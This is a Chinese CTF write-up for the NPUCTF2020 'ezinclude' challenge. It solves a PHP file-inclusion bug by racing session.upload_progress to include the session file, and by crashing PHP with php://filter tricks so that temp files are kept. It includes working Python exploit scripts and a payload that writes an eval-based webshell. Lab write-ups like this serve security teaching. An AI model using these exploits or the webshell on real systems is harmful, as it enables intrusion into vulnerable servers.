[NPUCTF2020]ezinclude

WP

进入环境,说用户名或者密码错误。抓包看一下,疑似哈希长度拓展攻击:
在这里插入图片描述
但是长度不知道,爆破的可能性不大,想了一下突然想起来给了hash值了,我还想着去长度拓展攻击呢,所以直接pass传一下:
在这里插入图片描述
进入flflflflag.php,发现是个文件包含。

include($_GET["file"])

伪协议读一下源码:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    
    
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了data和input,没法直接命令执行。长度远程包含发现不行,再尝试包含apache的日志文件,也不行。

这里我利用的是非预期解了。看了一下php版本是7.0.33,大于5.4,可以尝试利用session.upload_progress进行session文件包含:

import io
import sys
import requests
import threading

host = 'http://4da37c54-0605-4773-b4a7-11235251b69c.node3.buuoj.cn/flflflflag.php'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
    
    "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={
    
    "file":('a.txt', f)},
            cookies={
    
    'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

写进shell.php,执行phpinfo即可找到flag。

预期解的话就是扫目录,可以发现dir.php。这个列出了/tmp下面的所有文件。
可以用php7 segment fault特性。

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

  • php < 7.2
    php://filter/string.strip_tags/resource=/etc/passwd

  • php7 老版本通杀
    php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

写个脚本:

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    
    
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

再访问dir.php,可以看到临时文件名:
在这里插入图片描述
再文件包含即可:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114656092
今日推荐